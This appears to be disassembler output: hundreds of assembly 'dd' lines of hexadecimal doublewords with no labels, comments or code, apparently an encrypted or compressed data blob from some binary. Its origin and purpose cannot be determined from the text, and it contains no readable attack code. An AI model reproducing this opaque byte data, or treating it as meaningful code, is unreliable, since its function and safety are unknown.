		dd 0F5EC8092h, 1422C8B7h, 28518751h, 0AD1A7F2Eh, 648140C1h
		dd 7445602Bh, 3D090CEEh, 0CE3A4B76h, 7A6816D8h,	4155FB00h
		dd 95314F39h, 0EB02577Eh, 57684411h, 0A64237DEh, 45D70BCBh
		dd 9DDA8BEh, 3DE1D3Ah, 0D35E5DCh, 0FEBE04EFh, 6086F543h
		dd 0FEBF05D0h, 3F3A8298h, 7CC02594h, 6B286EA2h,	0F0009E36h
		dd 29EF0975h, 0F7B0E9F9h, 0A86B0F65h, 0EE247AF7h, 87401CB3h
		dd 0B55ECF68h, 0C12F27C6h, 9EC4612h, 607C1783h,	68500D0Bh
		dd 4C765861h, 0D5F26F4Dh, 9CC502A7h, 0D9975A56h, 1C903D0Eh
		dd 53C4852h, 741940EDh,	6C7C8405h, 86AC4EC5h, 0B7785B78h
		dd 0E24A7B74h, 86BEBFC3h, 0EE293E03h, 8E909F2Eh, 1EE6E7B7h
		dd 0F9970E72h, 4E5DC957h, 0A187BF99h, 47684051h, 1788846h
		dd 0BC0BE59Ah, 84FE77B9h, 78E10264h, 92D2FD6Eh,	41B514B4h
		dd 6743412Fh, 6068007Eh, 0EBBB34h, 30757BB7h, 84164DBAh
		dd 28C7CF8Ah, 1C6BD8A9h, 0EDD0F797h, 1E261476h,	2236A9BFh
		dd 7937EC02h, 69F45D2Bh, 0D3AE5BC5h, 2350E8D4h,	501FB643h
		dd 0C1160A8Fh, 961DC80Fh, 273304AAh, 772DFF16h,	94AC8C14h
		dd 407DF54Fh, 72253583h, 90E97809h, 7D6D9221h, 35DA3FCBh
		dd 7558897Dh, 0E6633D79h, 0A21E5E44h, 418DE3D8h, 2FDC872Fh
		dd 0A9E9D638h, 443D7822h, 0CD019605h, 9208C810h, 7860178Dh
		dd 447A5E5Eh, 922FB9B8h, 0C0D5EFCAh, 2FB56B61h,	0EE54A069h
		dd 0B20BFB20h, 5011B861h, 8ED51F0h, 6CEC1C82h, 6842391Dh
		dd 97F1BEDDh, 0F97A927Dh, 0C607C9D3h, 17F499EFh, 7AE7F4C9h
		dd 0EF76E084h, 48ADC788h, 3A49306h, 0C9042286h,	0BE4CC02Ah
		dd 98B23520h, 3A55200Bh, 43E1BD06h, 1E41F9Dh, 3F154AF5h
		dd 52CD58E9h, 5E5FD2BDh, 28DACA4h, 0CC51B54h, 9C0B01D4h
		dd 2043F13Fh, 38AD0FAEh, 28C5536Eh, 41A91D2h, 271D2ABFh
		dd 6841C62Ch, 993E750Eh, 45A22ADDh, 0EF99AB96h,	9F513234h
		dd 0DCF2D554h, 70E9C162h, 0E02D9716h, 311B1118h, 685617D2h
		dd 0CD1E8DA5h, 0BFB3BDAh, 9C82DE91h, 5D0196C5h,	0CAE3CE09h
		dd 814E569Dh, 4C083BC8h, 0AEA7043h, 44825D1Dh, 3E06F380h
		dd 24C12B22h, 81CB08EBh, 31A6D2C3h, 0D0042BB2h,	5007592h
		dd 713620Ch, 720D69Ch, 0D916E92Ch, 4E043389h, 0A9739DF5h
		dd 969D8EA0h, 5F542482h, 1820000Ah, 685022C4h, 0E9027E25h
		dd 8100DFA3h, 0E3946EAh, 68538F83h, 0DBF8B7D1h,	6D2BCAC1h
		dd 0A0346C3Ah, 7E8C1h, 624FD235h, 7AFDE97Fh, 8485DBB5h
		dd 0ABC8B70Fh, 0EBD2F6E2h, 406A618Fh, 5283022Ch, 0D160466Ch
		dd 0EB74744Ch, 3B385D60h, 28DD80DEh, 41EEE889h,	22853E28h
		dd 15D84EEh, 6411B7BCh,	22233E4Fh, 0C9F702EAh, 72960BEEh
		dd 0A9242A56h, 81180E6Ch, 5533853h, 70EA267Dh, 342D17B6h
		dd 2A6CDA8Dh, 283837C7h, 0A5A6201Eh, 0B56ACCB5h, 470E157Bh
		dd 0A3EF1201h, 5771C605h, 7EB62420h, 0AC3612BAh, 664181BAh
		dd 983B72CFh, 0CA1C13Ah, 0B53205Ah, 14B50A07h, 0D499FBE9h
		dd 1F12524Ch, 2984EF5h,	4B6E02CDh, 2F5113E9h, 55F817BCh
		dd 6FF08F20h, 0F750165Ch, 847F09D6h, 57A909FDh,	0E6AC0C6Fh
		dd 3257D49h, 0BBE140F7h, 62BD3435h, 6805DABEh, 0CC442EDCh
		dd 0A0177F4Ch, 564B5A68h, 5CA80724h, 56BD8F14h,	0AE170884h
		dd 70749A29h, 3FAE410Eh, 281073A0h, 0FA7330h, 615C1EC2h
		dd 0E9EA012Dh, 6EE13CFEh, 0BA76FEDh, 2BAFB2C8h,	1E7A6B9Dh
		dd 0DE19B11Ch, 3F627A1h, 5D6B2542h, 79BF9B46h, 0FC2F6237h
		dd 0E581B077h, 0C6CE9D7Ch, 4052E91Ch, 2718DF2Dh, 0D9B5E768h
		dd 0BE8A0F4h, 3FA22636h, 0D22D3CFEh, 4B762024h,	0F1BA5D95h
		dd 0AA691A84h, 0D8923AFCh, 855AB151h, 20855CB2h, 0ED76EB34h
		dd 0B82D4F07h, 0A8E48610h, 63C1003Dh, 219D83F3h, 99BC59CEh
		dd 80D45515h, 606BBDBEh, 46714Dh, 2FC3B850h, 0C631337Dh
		dd 0FD25CA93h, 0E2F74789h, 67CB838Dh, 0B96C5D4Ah, 68B22DD3h
		dd 95009310h, 417DBB36h, 0F9825B68h, 564080F7h,	58215014h
		dd 2F735FE9h, 0A27AA15Ch, 8097B4F4h, 65CA35CBh,	2D4C7AA6h
		dd 3251682Eh, 5C820392h, 0FF99859h, 2C999A0h, 0ABB2D2F3h
		dd 0F29D8FDDh, 4E62E701h, 0B42055ECh, 30604E09h, 0B243DD8Ah
		dd 0E6813501h, 608B7DE3h, 0F7E6042Bh, 0C3BCEFDEh, 88634407h
		dd 13C66015h, 164FD46Fh
		dd 0E938FAB8h, 0AA39DE2Ch, 86CE208Eh, 0DB4984BDh, 4728E1A8h
		dd 493709C0h, 60FD3DA6h, 9AEB16B0h, 20019F85h, 270A6D68h
		dd 47F40540h, 0C9E55480h, 0E989906Eh, 0C6B60648h, 76407484h
		dd 413359C1h, 8A5A9223h, 43E91DA6h, 65068A7h, 0E20A5C36h
		dd 0D026E7Ch, 0BF2CECA5h, 0EB4A73B6h, 26AF5B24h, 0E62F2EBDh
		dd 0FECBA4E5h, 84BF894Eh, 0FA1C7721h, 0D9052D64h, 84CCE29Bh
		dd 0C4556050h, 49A27181h, 0C42BBD05h, 0B0BFA9EEh, 0C541160Dh
		dd 0D8C315CBh, 0B037252h, 43840FC9h, 659D24C6h,	0A7E91DA3h
		dd 7B5E22EAh, 847CDE2Fh, 0FC734868h, 62E3C466h,	65F4E741h
		dd 0EF6D3098h, 0C185502h, 55F831F2h, 9AF14B42h,	53D93605h
		dd 0C1BDD9FBh, 3C35235Ch, 6AD38452h, 80FF32FCh,	543BBA2h
		dd 0D2F70F18h, 26390D10h, 5A30A48h, 44B5C31h, 0E25AD6FAh
		dd 9B590DBh, 2B154C3h, 7CF0D2A6h, 0C2E9D04Fh, 0ADFA61B5h
		dd 5091603Fh, 15392273h, 85333D2Dh, 5D0296Dh, 0C15A070Eh
		dd 126F7465h, 842DD8F4h, 105C6813h, 2604C9CDh, 1A1AA182h
		dd 515DBA82h, 0F00810Ah, 0D73C87Dh, 4B44E448h, 6B08B13Ch
		dd 0EA0F7F8Ah, 0F7A98A87h, 0D72D4954h, 5E50CB2Bh, 0FDB3515Fh
		dd 2E38EAD3h, 2FA341DBh, 0A040DA9h, 0ABD21A09h,	0EF0252ECh
		dd 66F63577h, 8A0E0DEh,	42997EC6h, 0FDBF1E40h, 0AB2A5624h
		dd 5A5F12C2h, 1A9A21Bh,	6657E90Fh, 0F8DF742Eh, 43F9A13Ah
		dd 0F2BED78Eh, 0BE6BFD07h, 14F74AE9h, 601FF8C1h, 0CFBD546Dh
		dd 0C7A7236h, 5F8BD459h, 4039F781h, 481E430h, 7C552DF2h
		dd 0C22CFA2Ah, 107B26A3h, 0E8DA12C7h, 4639B1D8h, 6A656801h
		dd 0E80DF762h, 69428FF3h, 72553D38h, 895D167Ah,	6464F5h
		dd 0C131028Bh, 0D116F74Ch, 4EE0BBE9h, 9A1BEC53h, 47719547h
		dd 951F3CC6h, 0D2BDD772h, 98595034h, 0C13B126Fh, 0DEF60172h
		dd 603CA85Fh, 0F9900685h, 71ABE15Fh, 8C054A3Fh,	0EB3772D7h
		dd 0F3C04ECFh, 150A1ACAh, 495E821Ah, 0CB810025h, 18FA688Eh
		dd 0B789BDh, 1EA4F088h,	97B9BA55h, 191711F4h, 508FA0EDh
		dd 2C60314Bh, 0B53BF68h, 0BBB305C4h, 5332D830h,	4E8350EEh
		dd 0B109EC54h, 1B656362h, 5AB0FD3Bh, 7C05E8D7h,	4CBFF2BFh
		dd 0B5272099h, 63F2215Ah, 87C6E16h, 2AB104BFh, 0D5D71D72h
		dd 27088AABh, 800601F4h, 0C5CC4AEDh, 0DD2837B6h, 0CC3D5810h
		dd 0F74434D2h, 7BBC9C80h, 0F3104093h, 0D28D1E05h, 0D6B3FA09h
		dd 5BEA85Bh, 80A0A144h,	0E4C59ECh, 0BE301E12h, 0A1E8CBCDh
		dd 0B814C026h, 7569652Eh, 9A092A90h, 0E616E73Ch, 5932CBEAh
		dd 8106F748h, 3734C90Bh, 40F20F8Ah, 0DDF3BA71h,	9BC85C01h
		dd 1502E812h, 14BABA1h,	58508D8Bh, 0ED0A301Bh, 0D13207A2h
		dd 3AA9B480h, 0DCBD3032h, 2E607068h, 0C1457782h, 0A7025C65h
		dd 7D8FE91Ch, 5568B618h, 21821116h, 16CC0BE0h, 0FB641C5Ch
		dd 0C7312021h, 0F9684960h, 0FF04CCAh, 66C870AAh, 682F70F2h
		dd 0A5C94164h, 70EB6AAEh, 7A250BC4h, 0A5DA2977h, 0E4DF0982h
		dd 27ED200Eh, 86C24095h, 8F209E4Ch, 73C47FEBh, 0FD8D8044h
		dd 82EF7B06h, 890A8C18h, 1470FF7Dh, 1C450883h, 20AFFA14h
		dd 0FA110E80h, 7127E948h, 0BE2E4549h, 0B223B692h, 76FC0793h
		dd 8AC27227h, 0DE824925h, 0BC3601DCh, 95A8551h,	32DBC2F1h
		dd 0D8F7FF50h, 4490C68h, 2757857Ah, 16A97FA4h, 0C168873Ch
		dd 6FC197B3h, 484C26CEh, 55B6BF02h, 50D50A52h, 0A9CF0149h
		dd 0F77ED547h, 516130DFh, 9D40BD04h, 8899F989h,	5B2C8D24h
		dd 1BACC25h, 0FD319C81h, 6D89D79Eh, 0CBCE7674h,	0C1420758h
		dd 88A4744Bh, 5D264105h, 25CBD108h, 0C7AAB0DFh,	6F47B4BBh
		dd 0F9177926h, 9925459Fh, 2E37784Fh, 403D04E0h,	0F5A2C77h
		dd 18C93AF2h, 9ED851F5h, 88048453h, 0D3E9C2DAh,	67C2FC5Fh
		dd 8E7DF6E9h, 4E5B11BEh, 0AC70EC80h, 24A9AC5Ch,	0AC75ADE9h
		dd 65802B0h, 5574316Dh,	0C43E60Bh, 4BF0C71h, 0E97F446Ch
		dd 0A15DAF4Eh, 0C52C3A82h, 30557EF3h, 831AC842h, 0B64ED390h
		dd 6F5B89ABh, 68F0AAF2h, 0C69D6395h, 3062016h, 5FFE2B0h
		dd 0F4D5C2AAh, 0FE69667Dh, 0F1D35D96h, 1C772A0Fh, 0D7F79782h
		dd 0FA2D4650h, 0D71F3AFDh, 48614212h, 853E64F6h, 5F8B7045h
		dd 0CE807FBFh, 5CE7E90Dh, 4E82F896h, 7FD61DD5h,	0BA013284h
		dd 39F4BD21h, 6EF39150h, 58892D55h, 0C69F615Eh,	1774EAFh
		dd 8A60D4B8h, 70440106h, 5F26E997h, 90AFF1DAh, 0D623B0A1h
		dd 7901AB14h, 44485FFBh, 63DCAB14h, 0EA7B4B68h,	587CA230h
		dd 0F765048Eh, 0BFF1E9D6h, 4FF36F16h, 0ECC1317Bh, 0DC8DB116h
		dd 0F5A43437h, 2C40191Ch, 837D72E5h, 0E20C4F08h, 73C01B26h
		dd 1DD8D833h, 84AF5EE8h, 2E80B5CBh, 8628E1A1h, 7D3CEE4Fh
		dd 4349408Ah, 1AB024B8h, 1E02289Ah, 0E9950ECAh,	0BAEFE84h
		dd 22D3595Fh, 6314C501h, 502E49A6h, 592F08E0h, 0BB0D3553h
		dd 0BD3A3780h, 12335193h, 0DD6368B3h, 106059BAh, 0B5C0566Fh
		dd 6244ECEh, 0C37B015h,	3DCA501Ch, 5F8272FCh, 59495AFCh
		dd 18294738h, 3D4B3C92h, 2D25DE06h, 68048BD3h, 0DF33EECh
		dd 0F1620B7Eh, 1A8DE927h, 0D5B26E6Ah, 580EC2B4h, 0D2BF1A66h
		dd 5CF50044h, 0E937670Bh, 9FC05258h, 41491402h,	3FAAA05Dh
		dd 2DAF2D1Ah, 0B7F1FE01h, 0E9AA41F3h, 0FFA72B36h, 24805327h
		dd 29D85C7Bh, 5B78DFFAh, 272CA3FCh, 0B30058D6h,	0E9425402h
		dd 0A48D4820h, 3D5BC981h, 74ACED1Bh, 0D028F7A3h, 540FAF96h
		dd 0C475C302h, 580EFCA8h, 7F4598C6h, 7028E04Bh,	3E55EE9h
		dd 6F18033h, 0DA25C199h, 0E8F5D342h, 0B702AB3Fh, 53146C67h
		dd 9B322F6h, 0C72987F1h, 0D4B76E05h, 3A09BBDEh,	3C40D7C1h
		dd 83FF835Ah, 5F42842Fh, 588CC254h, 0F4DEBDF1h,	82D8CD50h
		dd 692A51D7h, 0E9CB387Fh, 91BB6EEFh, 11B68A1h, 41F6290Ah
		dd 5ADE4208h, 0A7BE5600h, 7B120916h, 0C589F331h, 0D6270376h
		dd 1768E28Fh, 0BE06A5ECh, 1DDC30E9h, 0A79A4DD0h, 0D9123D05h
		dd 0C7B50E57h, 72E4FA4Fh, 4D29AB68h, 0B26C866Bh, 1273222h
		dd 0DF2B90C2h, 0C7B8503Ah, 3E1BEDA1h, 0FC185EA8h, 0A7BA2838h
		dd 1D922F07h, 0BBC24A42h, 9191AA76h, 53026B0Bh,	0BB0CB795h
		dd 0B86330D5h, 5B36CBAFh, 8469F359h, 0A44B1A25h, 0F5886DA2h
		dd 526401F4h, 2B8F9BAh,	321B310Dh, 0A88F5750h, 9A602000h
		dd 505401Eh, 733ABCC5h,	0CB3418D7h, 20ECB7B1h, 0E947129Ch
		dd 0BFAEC448h, 0CAB195E8h, 0FFAD2B20h, 0B2924E78h, 705A0605h
		dd 0BC64A95h, 4291405Eh, 1A0E4400h, 93B82EEBh, 49E4748h
		dd 94D68E7Bh, 0BBFC85EAh, 0C88B4FE5h, 4D4DEBFh,	675F9960h
		dd 0C301285Eh, 0C7347ABEh, 0E279C173h, 0EA571310h, 6BF6751Eh
		dd 38E91354h, 4B5AD063h, 42E7440Ah, 22F455FFh, 60BA5127h
		dd 0CC685156h, 71056619h, 7DC20986h, 48E2FB76h,	5994FD40h
		dd 6B5A5F48h, 6E450477h, 8507ECAAh, 69F8427Eh, 555B2D3h
		dd 2C7068D1h, 0FD110ACh, 203CA04h, 917E95Ah, 0DA5111E9h
		dd 2EF32022h, 5F00899Fh, 26586FE1h, 39BB4F1Ch, 0EEE4466Ah
		dd 0D98C115Ah, 293B185h, 7032F0CDh, 4DA4C057h, 0CE5C7E60h
		dd 2CC5BA0Ch, 12E6AE7Dh, 5C74E9C2h, 0C726E5F3h,	74F07422h
		dd 6ACF334Ah, 0CAD15A2Dh, 0B41DAD70h, 83686358h, 5A0F3CE0h
		dd 0CEF3909Fh, 278CDCF4h, 379422D5h, 447D09E1h,	5FFA25C0h
		dd 5438D4E0h, 22E93B0Bh
		dd 7039FE57h, 9C9D322Eh, 7F8486Bh, 8C455317h, 4B38E906h
		dd 0DAEA4B74h, 0D9D84F99h, 238C2768h, 40A1B36Ch, 7AE61025h
		dd 7C1E3D4Dh, 0B7CA27BEh, 0E8688263h, 249A93Ah,	0FF807360h
		dd 60F6ADCEh, 0D08835C3h, 7DC39A53h, 1DFD3689h,	885C014Ah
		dd 628DE9EBh, 0A2C20310h, 0B01C6B43h, 27297AE2h, 80DD5759h
		dd 3F88F2ECh, 1C2BEDE4h, 58F349DDh, 0D4277CDCh,	7E9E163h
		dd 2BCE2F01h, 5B93BB00h, 2E96776h, 4BE2864Fh, 605F7E85h
		dd 870EE4DBh, 57560F1Fh, 73278EC2h, 8CD0DE06h, 5B2E6E25h
		dd 15A2B801h, 0D0012FCEh, 0B9FD4F21h, 172E7125h, 5D98AAADh
		dd 0BC1B444h, 0E716E230h, 0F6CAFE0Eh, 0D7DA49D2h, 49F4D407h
		dd 0D5355285h, 8E49E4AFh, 0AFAB7192h, 0F54D5829h, 0F90898A4h
		dd 1E2D0148h, 0E8097D35h, 59B75301h, 9098E408h,	19C6806Ah
		dd 7502FF9Dh, 98A42465h, 0BDB1BEC3h, 609571F2h,	4A29C1B9h
		dd 0E1030974h, 8FE95506h, 0A3F76CDh, 6A177A68h,	4A4E1CBDh
		dd 1C984163h, 4CA0E01Ch, 0D11654EAh, 0ACF388E5h, 0EF98EF96h
		dd 852E68C1h, 0AA3503BFh, 7A78220Ah, 0A5A8574Bh, 44F563E7h
		dd 0E93E9888h, 0E0C7BA4Ah, 0A70F7441h, 36F287F4h, 0D608D6F7h
		dd 0E70A750Ch, 7FAD9E33h, 0BA1E4A74h, 5F08CE10h, 29C475E2h
		dd 895198D0h, 0FF304225h, 0D52721C7h, 1D168760h, 0DB8B8C0h
		dd 9F5DED08h, 0E80F2551h, 47D36105h, 43D83F76h,	0A6972DFAh
		dd 0E0342C40h, 94EF8980h, 5E7752E5h, 61BE580Bh,	203E1816h
		dd 31561601h, 0C80075Fh, 76BF2ABDh, 0ECB0FE29h,	0C400883h
		dd 0F67CE914h, 0D33574C2h, 0F58C42C9h, 260659E3h, 6C872BD5h
		dd 0BC47E4Eh, 94E97B2Fh, 3F440CE9h, 0C893D2ECh,	45411D47h
		dd 624E3F41h, 8CF9DFC2h, 5CA4FC16h, 49EA0BCFh, 2D804FA7h
		dd 1048221Ah, 0FA97E2B0h, 0BCE91837h, 0ABC22FB2h, 18C0313h
		dd 564A3500h, 5AE9100Bh, 8B08C48Ah, 93697728h, 0BECDD189h
		dd 0B9AB4D13h, 74B76F5h, 5A2719E7h, 0BF4BD9F0h,	7BB89D60h
		dd 47C2000Ch, 5201E883h, 27766FBAh, 20BF2D48h, 25C09048h
		dd 0D07B662Fh, 0C30254A7h, 844BBE22h, 25A367F8h, 0CD9693D6h
		dd 0F066B102h, 0BA52DD3Dh, 773E2B95h, 440F992h,	3A7B726Bh
		dd 0F16014Fh, 0E2008B16h, 7BE83B48h, 4F7627BDh,	640906D4h
		dd 0BC01F933h, 0F091EA5h, 8814E77Dh, 2C038660h,	0EFF8289Eh
		dd 60D66B4Fh, 18F06879h, 0A8110F55h, 0C16BEEAh,	0D4181228h
		dd 2C659186h, 8CC69034h, 0EB28D389h, 0E4513809h, 4D2A8070h
		dd 9F4E692Ah, 8202856h,	0D4598F98h, 57BE00E8h, 929226Dh
		dd 0C9FB9F2h, 268738F0h, 4742F31Eh, 7B55EE8Bh, 0BE560020h
		dd 0F4C2C2Ah, 0CE7DE912h, 134BE6BEh, 0F8245EF7h, 0C28BF9BEh
		dd 66593768h, 6BE91399h, 0BF86940Eh, 929A59C8h,	656BD5Ah
		dd 507276D2h, 60606CE9h, 4A64BD38h, 17524A94h, 2C81B0B3h
		dd 0F831455Fh, 34344CE6h, 0DF661495h, 0CB20D27Eh, 0C6EB8325h
		dd 4EEAFA33h, 0BDF7D0DAh, 44386E4Ch, 0E4C2D043h, 0EFA7FC16h
		dd 6034C8FAh, 0A941D14Ah, 26820C74h, 9C9D920h, 4F6A9639h
		dd 31146BF0h, 7D8041CCh, 6BF3F06h, 8036F729h, 79E95E08h
		dd 253B7B0h, 0B3536601h, 1B30285Ah, 0ED5BF002h,	0C7FBAB45h
		dd 0B88AD5C0h, 0C5FE804Dh, 955749E9h, 5F8B1A7Dh, 30578032h
		dd 59685389h, 0E90D0E7Bh, 0C23CBCFAh, 0B643865Fh, 61C84870h
		dd 0E21829h, 0E165599Fh, 0BFFB89h, 1278DD31h, 13E7FE4Bh
		dd 22CA6h, 5F0CF740h, 8AA00D7Ch, 7E0B3D3Fh, 0C8E7D116h
		dd 3A6DEF31h, 31B42D84h, 2F54FC4Ch, 27187216h, 0E8E19B1h
		dd 0BBA9D40Fh, 73BE1A20h, 634A8910h, 1D695BE0h,	870CE87Dh
		dd 0F12E17E6h, 0F293E962h, 8EECF9FFh, 0AF1256CFh, 4EE94698h
		dd 53E087BFh, 0A3119CAh, 0D3F79009h, 6697002Ah,	31D8849Ch
		dd 4934DE5Fh, 88DB0ABFh, 0BF32B4DDh, 27CAD607h,	0FFF4064h
		dd 1BA49250h, 1AE94E01h, 69067AC9h, 0F9DD778Fh,	17849BB6h
		dd 494B3225h, 0EC6BC551h, 5E9C484Eh, 0BFC4BCB6h, 0F3EC176Bh
		dd 891AC31Eh, 4354BE70h, 701A1E8h, 17A1B06h, 8048465h
		dd 99BCB884h, 0DAC3E9B0h, 4A2D7AB9h, 0D4504234h, 1A5CA740h
		dd 279FFF0Ch, 377F0BEAh, 0DB2966EBh, 9A43E04h, 56A3DE5Eh
		dd 0EE2FC720h, 0B3459FEEh, 1A05E98Dh, 2FC17230h, 80558958h
		dd 3EA20A93h, 0AA014AA9h, 7F84FB56h, 7B4AF2FEh,	0FC0A7B25h
		dd 0F189C209h, 79D496F5h, 4F4D90EFh, 8F8505Ch, 8139BA4Ah
		dd 8A5CF66Ah, 0CA196C9Fh, 3F30EA9Eh, 0C050430h,	1CD3F760h
		dd 84A69100h, 4A5BDA29h, 8559BD5Dh, 9B20520Eh, 2C07D73h
		dd 0D92ABB5Fh, 0BFFD475h, 6C4A052Eh, 0D63CBBE9h, 5B29FACFh
		dd 12E4562h, 92D62F70h,	28680203h, 0E2BB854Ch, 0E957C188h
		dd 46DD948h, 5A199E11h,	456CE98h, 3B5F9A68h, 278C157h
		dd 5DBF00BAh, 90E49872h, 0E6CCB00Ch, 7A76148Eh,	0D904AE61h
		dd 0E1F61E28h, 5106842Eh, 0DFB133E9h, 9BB4230h,	52DA1556h
		dd 47FCF89h, 42A2878Bh,	1380AD97h, 72BF6337h, 0BC4410AAh
		dd 0A017C820h, 0E450B49Ah, 0ECC01F2Fh, 0A3138B08h, 8B4892F5h
		dd 75C15504h, 4FD278F8h, 28A9BFFCh, 134D00D6h, 0DBE93D1Fh
		dd 0FA3BE13Bh, 735C5D3Dh, 6AA141F6h, 74108EE6h,	805B005Fh
		dd 885377C2h, 0F3FCE4D7h, 0D5B062FEh, 3F35D618h, 0BE98D395h
		dd 0A6AE193Eh, 1677A521h, 5BB9099Eh, 0E70030EDh, 29EC4BE5h
		dd 210DE2ECh, 18480A09h, 124272FCh, 0EB7FE934h,	7D5C9449h
		dd 0EB01F9Ch, 77A70997h, 93FF2509h, 0A50E4065h,	0FA991331h
		dd 3F87AB8Eh, 32530D01h, 7057935h, 2CFB9C12h, 0D197570Ah
		dd 0C4E9653Dh, 2BDCC999h, 0E50F6795h, 0DF8CC452h, 3F9EBAACh
		dd 8D1ECA5h, 42A9D992h,	0A967E9A0h, 10D6BABDh, 176850FAh
		dd 5F373F7h, 0FA7136ADh, 3F50BBF7h, 0D9FC9D3Ch,	5865456Fh
		dd 873DE061h, 1672D207h, 0CA75E0EAh, 0A3818DE0h, 0DE36E742h
		dd 1CFDEB19h, 702D01ACh, 0E978772Fh, 7455A59Dh,	9FEED062h
		dd 0A73281C8h, 59ED7490h, 0B6B96EE1h, 8851C2C5h, 66599B67h
		dd 5F594843h, 0E44A03ADh, 0EC30E909h, 555D2088h, 60A0F050h
		dd 0F8BE749h, 20B71048h, 0D4977AB2h, 9956BFCEh,	0ED1756ACh
		dd 993B84E2h, 0F1F72041h, 965A370Bh, 0A7FED43Fh, 0E99F83D5h
		dd 0C8DF47D3h, 0D8D21559h, 0D52D687Dh, 552A181Bh, 1A4127E9h
		dd 0DC9503C8h, 41CC1927h, 61FD4311h, 0BB4AD17Dh, 45FA37C5h
		dd 0FF1183AFh, 929DBD31h, 0EBF5D76Ch, 6C12E0B2h, 1C0DFDBDh
		dd 0B44360Ch, 0A8E4E8D1h, 3034E205h, 0F0F0846h,	0D58E14Fh
		dd 0E5372578h, 57964Fh,	2453FB2Fh, 0BC5BE91Fh, 0A1B335AEh
		dd 29FC3FECh, 10AB3DADh, 680E1C44h, 0BF132CEAh,	0FCA419F2h
		dd 62ABB700h, 566387D2h, 54F7C83h, 668FBE10h, 0F60AC08Ch
		dd 365C30F3h, 0CF12E2Bh, 349D6813h, 0D664CFECh,	7B21BE3Ah
		dd 0FB05BB4Ah, 8CB41983h, 628730E8h, 0BE01956Fh, 0A00C4CDh
		dd 6958E959h, 1DF52E40h, 6BD9A57Bh, 516A362h, 26D74740h
		dd 29B4326Bh, 0FE8933C0h, 45BD659Ah, 0CC0925A6h, 0C13C517Fh
		dd 6ECD17E9h, 0C96C9331h, 0B3530E80h, 15EB808Ch, 0C98606CFh
		dd 0D4F74220h, 0E2F425D0h, 4682FF49h, 545F7EB3h, 3A9AA467h
		dd 43401E2Eh, 3AE828CBh, 57EE2C1h, 0FF36985Eh, 101A6988h
		dd 0D20BF977h, 6FD585Fh, 153AB2CDh, 25C1213h, 0DEE11204h
		dd 0D9A18AFCh, 0D8E90003h
		dd 0EA59C002h, 11401B12h, 9A05F2ECh, 313DCDEBh,	10497BFh
		dd 826FC509h, 7E03CB0Ch, 0B440772Eh, 0B8804DADh, 0E61606EAh
		dd 0BEEBF72h, 81CD3150h, 1026C505h, 94FA4578h, 0AB081361h
		dd 0AA2AFF2Dh, 25E97B3Ch, 4CDDEAC6h, 97DAE00Dh,	3E4C96C9h
		dd 4835C300h, 0BA830482h, 4E6871D7h, 0A07F244Fh, 0A528E90Dh
		dd 0CC301EF7h, 7FB00DC4h, 2DC51C80h, 0EDBAFA28h, 0C6A5A2DEh
		dd 1E62F5h, 59EB20CEh, 6DE9C3FEh, 0B248B964h, 0C2829681h
		dd 5B1C8304h, 0FB1BD58Fh, 32E931B4h, 0B8778DD4h, 0F842787Ch
		dd 8039BA97h, 84760C61h, 7B0CC153h, 30B05271h, 6D021313h
		dd 69E9371Bh, 7A114C57h, 67A5E151h, 74EDF80h, 0CB01816Bh
		dd 1B9046FAh, 133B8DE9h, 0EC628D2Dh, 0B8AAD663h, 672D2260h
		dd 2BDB491Fh, 9C5D752h,	30BAD9AFh, 4B6B4A67h, 10F5EC7h
		dd 944186BEh, 217EAF07h, 5BDE01AAh, 0F775A02Eh,	90D648h
		dd 0FB36B518h, 0B1ED11E9h, 1E5E0889h, 0D03A412Dh, 0DAF60C84h
		dd 0B0A385C0h, 202F6E92h, 0C0B656C2h, 51F0E280h, 57D7B127h
		dd 0C41E490Fh, 0B828B6F1h, 0CE253BABh, 6A763732h, 0E4D07EE8h
		dd 2DA1EC3Ch, 0CC575E51h, 0CFA4FE94h, 1A94CD02h, 40451FDDh
		dd 300ECB73h, 361A1DBBh, 27480210h, 2D290304h, 0E6313C68h
		dd 569B4074h, 0B0585CBEh, 296D127Eh, 14BE0143h,	7E332540h
		dd 0D756CA09h, 0C1CEBAD9h, 0B9057CCEh, 7A62E03Eh, 0EDBFC518h
		dd 257547D6h, 7A781E6Fh, 2B08EA51h, 6EB82CAAh, 0BBBB240h
		dd 77CD10D4h, 9BF330A0h, 4348217Eh, 0C2371030h,	38D06627h
		dd 0A80B5963h, 0F929D134h, 6DC11091h, 5969240Ah, 0B8223E17h
		dd 51994F5h, 1E445232h,	0EBB7D1EAh, 28217007h, 56E4485Eh
		dd 4ACB03C7h, 5D571BA4h, 6E5C1C8h, 17E64548h, 0B602967h
		dd 2D370E05h, 79C2616Dh, 68570703h, 31EDDCE7h, 0AA89875Ah
		dd 9BA1DE20h, 0BFE9C1C8h, 0BA228184h, 73AB218Eh, 932854E9h
		dd 3264EE4Ah, 2801DF8Eh, 6F6866C3h, 84B26A56h, 61050B18h
		dd 31801110h, 4A1AF8C5h, 0DC31EE25h, 922F8A05h,	0BE743376h
		dd 5A6F2260h, 0FC505B2Bh, 0BBDE25BEh, 0EEA1DB6Bh, 0FD054E16h
		dd 68C35015h, 0FEC8723Ah, 2B8D6B55h, 0B7F845C9h, 66EC950Eh
		dd 1462F0F4h, 5CC8453h,	0AFE3EB01h, 6DBC8532h, 681BF65Ah
		dd 0FA352F53h, 509E7F5Ah, 3854609Dh, 45B60676h,	0C95007E9h
		dd 10BBED4Fh, 4D24C334h, 1075C2E3h, 23C6FF09h, 46EFEBDh
		dd 941285E9h, 28D8FB23h, 0E3204AC7h, 5CAC17F8h,	88C0C6FCh
		dd 82A6E9D4h, 0F52786BAh, 4BAC5B5Eh, 5C6D6C5Fh,	5E2A1FEAh
		dd 5BDA30E8h, 47672E96h, 0B4F57BE3h, 425551C1h,	160B8601h
		dd 41578B5h, 0C44D30BDh, 4605EE06h, 0AB81FE58h,	0B7D09BC3h
		dd 42684A91h, 2A96E999h, 566386A0h, 97F41CABh, 414DC6Bh
		dd 83BB706Ah, 0D3828C7Ch, 751E9D22h, 0AC25CB46h, 0D07C532h
		dd 2ACDEF88h, 0C01848F4h, 0D2F75DEFh, 0D2954A42h, 32C24CB7h
		dd 12602D13h, 7240BAA6h, 5B0B33FBh, 68551D52h, 6BA3CBD1h
		dd 0C00ED058h, 0C02B146Dh, 3B63DFF5h, 8164B139h, 0C977E4BAh
		dd 0FC092A0Ch, 47BC8005h, 4B65E91Eh, 7D27FAAEh,	8A2CC4Ah
		dd 3FB358BFh, 0B455692Bh, 5BF15DF9h, 44561888h,	27D6E941h
